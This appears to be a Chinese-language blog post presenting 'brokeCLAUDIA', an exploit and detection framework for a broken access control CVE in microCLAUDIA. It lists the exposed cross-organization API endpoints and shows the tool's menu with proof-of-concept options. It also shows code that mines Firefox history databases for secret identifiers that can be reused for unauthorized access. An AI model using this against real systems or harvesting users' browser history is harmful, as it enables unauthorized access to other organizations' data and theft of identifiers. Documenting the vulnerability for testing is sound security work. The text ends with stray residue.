brokeCLAUDIA - CVE-2025-41090 微CLAUDIA越权访问漏洞利用框架

10 阅读4分钟

🔓 brokeCLAUDIA - CVE-2025-41090

brokeCLAUDIA Logo转存失败,建议直接上传图片文件

CVE-2025-41090 - microCLAUDIA 中央服务中的越权访问漏洞利用与检测框架

Version 1.0转存失败,建议直接上传图片文件 CVE-2025-41090 Python 3转存失败,建议直接上传图片文件

| :--- | :--- | | /api/login | POST | 用户登录,获取 JWT 令牌。 | | /api/instances | GET | 获取与用户关联的实例信息。 | | /api/instances/{id}/agencies/all | GET | 获取指定实例下的所有机构列表。 | | /api/agencies/{id} | GET | 获取指定机构的详细信息。 | | /api/agencies/{id}/agents | GET | 获取指定机构下的所有代理列表。 | | /api/agencies/{id}/vaccines | GET | 获取指定机构下的疫苗配置。 | | /api/agents/{id} | GET | 获取指定代理的详细信息。 |

注意:根据 CVE 描述,这些本该被隔离的跨组织 API 在受影响版本中并未正确实施访问控制。

💻 核心代码

1. 主菜单与程序入口 (main.py)

该代码是工具的入口点,负责显示横幅、初始化各个功能模块,并通过循环提供交互式菜单。

from InquirerPy import prompt
from core.modules.artascii.artascii_draw import ArtAsciiDraw
from core.modules.historybrowser.historybrowser_obtain import HistoryBrowserObtain
from core.modules.microclaudia.microclaudia_pocs import MicroClaudiaPoCs
from core.modules.microclaudia.microclaudia_signin import MicroClaudiaSignIn


# Main
def main():
    
    try:

        # Banner
        art_ascii_draw = ArtAsciiDraw()
        art_ascii_draw.banner()  # 绘制工具横幅

        # Options
        option_api_endpoints = 'microCLAUDIA API Endpoints'
        option_sign_in = 'Sign In to microCLAUDIA Website'
        option_poc_users = 'PoC - Broken Access Control (Check with two accounts)'
        option_poc_request = 'PoC - Broken Access Control (Request private element)'
        option_browser_history = 'Obtain Secret Identifiers (Extract History)'
        option_exit = 'Exit'

        # Question
        question = {
            "type": "list",
            "message": "Select an action:",
            "choices": [option_api_endpoints, option_sign_in, option_poc_users, option_poc_request, option_browser_history, option_exit]
        }

        # Classes
        microclaudia_signin = MicroClaudiaSignIn()
        microclaudia_pocs = MicroClaudiaPoCs()
        history_browser_obtain = HistoryBrowserObtain()

        # Loop
        while True:
            result = prompt(questions=question)  # 显示交互菜单并获取用户选择

            # Menu
            if result[0] == option_api_endpoints:
                microclaudia_signin.table_endpoints()  # 显示 API 端点
            elif result[0] == option_sign_in:
                microclaudia_signin.signin_website()   # 登录网站并解码 JWT
            elif result[0] == option_poc_users:
                microclaudia_pocs.broken_access_control_users() # 双账户 PoC
            elif result[0] == option_poc_request:
                microclaudia_pocs.broken_access_control_request() # 直接请求 PoC
            elif result[0] == option_browser_history:
                history_browser_obtain.browsers()      # 提取浏览器历史
            elif result[0] == option_exit:
                exit(0)
            else:
                print('Invalid option. Please choose a valid action.')

    except Exception as e:
        print(e)


if __name__ == "__main__":
    main()

2. 漏洞结果视觉反馈 (artascii_draw.py)

此模块通过绘制 ASCII 艺术图形,为漏洞是否存在提供直观的视觉反馈,提升了用户体验。

from colorist import Color


class ArtAsciiDraw:

    # ... (banner 方法) ...

    @staticmethod
    def vulnerable() -> None:
        """
        当漏洞存在时,绘制一扇敞开的门
        """
        print(f'''{Color.GREEN}
  ______________
 |\\ ___________ /|
 | |  /|,| |   | |
 | | |,x,| |   | |
 | | |,x,' |   | |
 | | |,x   ,   | |
 | | |/    |   | |
 | |    /] ,   | |
 | |   [/ ()   | |
 | |       |   | |
 | |       |   | |
 | |       |   | |
 | |      ,'   | |
 | |   ,'      | |
 |_|,'_________|_| VULNERABLE
        {Color.OFF}''')
        print('\n')

    @staticmethod
    def not_vulnerable() -> None:
        """
        当漏洞不存在(已修复)时,绘制一扇关闭的门
        """
        print(f'''{Color.RED}
  ______________
 |\\ ___________ /|
 | |  _ _ _ _  | |
 | | | | | | | | |
 | | |-+-+-+-| | |
 | | |-+-+=+%| | |
 | | |_|_|_|_| | |
 | |    ___    | |
 | |   [___] ()| |
 | |         ||| |
 | |         ()| |
 | |           | |
 | |           | |
 | |           | |
 |_|___________|_| NOT VULNERABLE
        {Color.OFF}''')
        print('\n')

3. 浏览器历史记录提取 (historybrowser_obtain.py - Firefox 部分)

该代码展示了如何从 Firefox 的 SQLite 历史数据库中提取包含特定域名的 URL,这些 URL 中可能泄漏了用于越权访问的敏感标识符。

import os
import re
import sqlite3
from colorist import Color
from datetime import datetime, timedelta
from core.common.static.constants import MICROCLAUDIA_DOMAIN


class HistoryBrowserObtain:

    def __init__(self):
        self.domain = MICROCLAUDIA_DOMAIN
        self.secrets = []

    def firefox(self) -> None:
        """
        从 Firefox 浏览器历史中获取包含特定域名的记录
        """
        try:

            # Windows 系统下 Firefox 历史数据库的路径
            firefox_profile_path = os.path.expanduser("~\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\")
            profile_folders = os.listdir(firefox_profile_path)

            # 使用第一个找到的配置文件
            first_profile_folder = profile_folders[0]
            firefox_history_db = os.path.join(firefox_profile_path, first_profile_folder, "places.sqlite")

            # 连接到 SQLite 数据库
            conn = sqlite3.connect(firefox_history_db)
            cursor = conn.cursor()

            # 正则表达式,用于在 URL 中搜索 SHA-256 哈希值(一种可能的标识符)
            sha256_regex = re.compile(r'[0-9a-f]{64}')

            # SQL 查询:获取过去一年的历史记录
            one_year_ago = datetime.now() - timedelta(days=365)
            # 注意:Firefox 使用微秒时间戳
            query = f"SELECT url, title FROM moz_places WHERE last_visit_date >= {one_year_ago.timestamp() * 1000000} ORDER BY last_visit_date DESC;"
            cursor.execute(query)

            # 过滤结果:仅保留包含目标域名且匹配 SHA-256 模式的记录
            results = [row for row in cursor.fetchall() if self.domain in row[0] and sha256_regex.search(row[0])]

            # 将去重后的秘密信息添加到列表中
            for row in results:
                url, title = row
                message = f'firefox - {title} - {url}'
                if message not in self.secrets:
                    self.secrets.append(message)

            # 关闭数据库连接
            conn.close()

        except Exception as e:
            print(f'Error obtaining firefox history: {e}')

    # ... (Chrome 和其他方法) ...
```FINISHED
6HFtX5dABrKlqXeO5PUv/xVUOSdc1D7yzdGQ5AeG5OM=